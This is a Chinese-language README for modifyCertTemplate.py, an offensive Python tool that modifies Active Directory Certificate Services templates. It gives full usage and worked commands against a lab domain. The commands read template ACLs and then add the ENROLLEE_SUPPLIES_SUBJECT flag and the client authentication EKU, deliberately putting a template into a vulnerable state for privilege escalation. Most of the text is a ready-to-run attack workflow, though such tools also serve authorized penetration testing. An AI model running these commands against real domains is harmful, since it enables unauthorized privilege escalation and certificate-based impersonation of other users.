此工具旨在帮助操作员修改ADCS证书模板,从而利用创建的易受攻击状态进行权限提升(并在之后将模板重置为之前的状态)。该工具专门针对以下场景设计:攻击者已获得对模板的WriteProperty权限,但不确定该权限适用于哪些属性。在此场景下,可以查询模板的ACL,并将适用的ACE信息与属性GUID进行交叉引用,以确定可修改的属性。
关于该工具及主题的关联博客文章。
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
修改Active Directory证书模板的属性
位置参数:
target [[域/]用户名[:密码]
可选参数:
-h, --help 显示此帮助信息并退出
-template template name
目标证书模板的名称
-property property name
目标模板属性的名称
-value new value 要设置给指定模板属性的值
-get-acl 打印证书的ACE
-dn distinguished name
显式设置证书模板的可分辨名称
-raw 输出原始证书模板属性
-add flag name 向属性添加一个标志,同时保留现有标志
-debug 开启DEBUG输出
认证参数:
-hashes LMHASH:NTHASH
NTLM哈希,格式为LMHASH:NTHASH
-no-pass 不询问密码(对 -k 有用)
-k 使用Kerberos认证。根据目标参数从ccache文件(KRB5CCNAME)中获取凭据。如果找不到有效凭据,则使用命令行中指定的凭据
-aesKey hex key 用于Kerberos认证的AES密钥(128或256位)
连接参数:
-dc-ip ip address 域控制器的IP地址。如果省略,将使用目标参数中指定的域部分(FQDN)
-ldaps 使用LDAPS代替LDAP
查询证书模板(所有属性)
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass
从证书模板查询单个属性
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
查询所有模板属性的原始值
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass
查询证书模板的ACL
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass
虽然与证书模板无关,但可以通过提供对象的可分辨名称来查询任何对象的ACL
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass
向模板的msPKI-Certificate-Name-Flag属性添加ENROLLEE_SUPPLIES_SUBJECT标志
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
更新证书模板属性的值(非列表属性)
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass
向pKIExtendedKeyUsage属性添加一个EKU
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass
更新列表格式属性的值(即显式设置pKIExtendedKeyUsage的值)
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass